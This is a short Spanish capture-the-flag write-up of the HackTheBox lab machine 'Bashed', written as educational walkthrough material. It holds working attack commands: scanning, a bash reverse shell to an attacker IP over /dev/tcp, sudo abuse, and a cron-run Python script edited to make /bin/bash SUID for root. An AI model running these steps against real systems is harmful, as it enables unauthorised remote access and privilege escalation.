HackTheBox Easy Linux WebShell Sudo Abuse Cron Python

Bashed

phpbash webshell pre-instalado expone RCE; sudo -u scriptmanager permite escalar via script Python ejecutado por cron.

cat4clysm
Herramientas utilizadas
nmap wfuzz netcat

Scanning

root@kali:~$
nmap -sC -sV -Pn -n -p80 10.10.10.68 -oN targeted
wfuzz -c --hc 404 -t 100 -w /usr/share/dirb/wordlists/common.txt http://10.10.10.68/

Explotacion - phpbash WebShell

Encontramos http://10.10.10.68/dev/phpbash.php, una webshell PHP pre-instalada por el desarrollador.

Lanzamos una reverse shell desde la webshell:

root@kali:~$
echo "bash -i >& /dev/tcp/10.10.14.2/4444 0>&1" > shell.sh
sudo python3 -m http.server 80

Comprobamos permisos sudo:

root@kali:~$
sudo -l
# Podemos ejecutar como scriptmanager
sudo -u scriptmanager bash
cat /home/arrexel/user.txt

Escalada de Privilegios - Cron + Python

root@kali:~$
find / -type f -user scriptmanager 2>/dev/null

Encontramos /scripts/test.py ejecutado como root por cron. Lo modificamos:

import os
os.system("chmod 4755 /bin/bash")
root@kali:~$
ls -l
bash -p
cat /root/root.txt
root flag

Lecciones aprendidas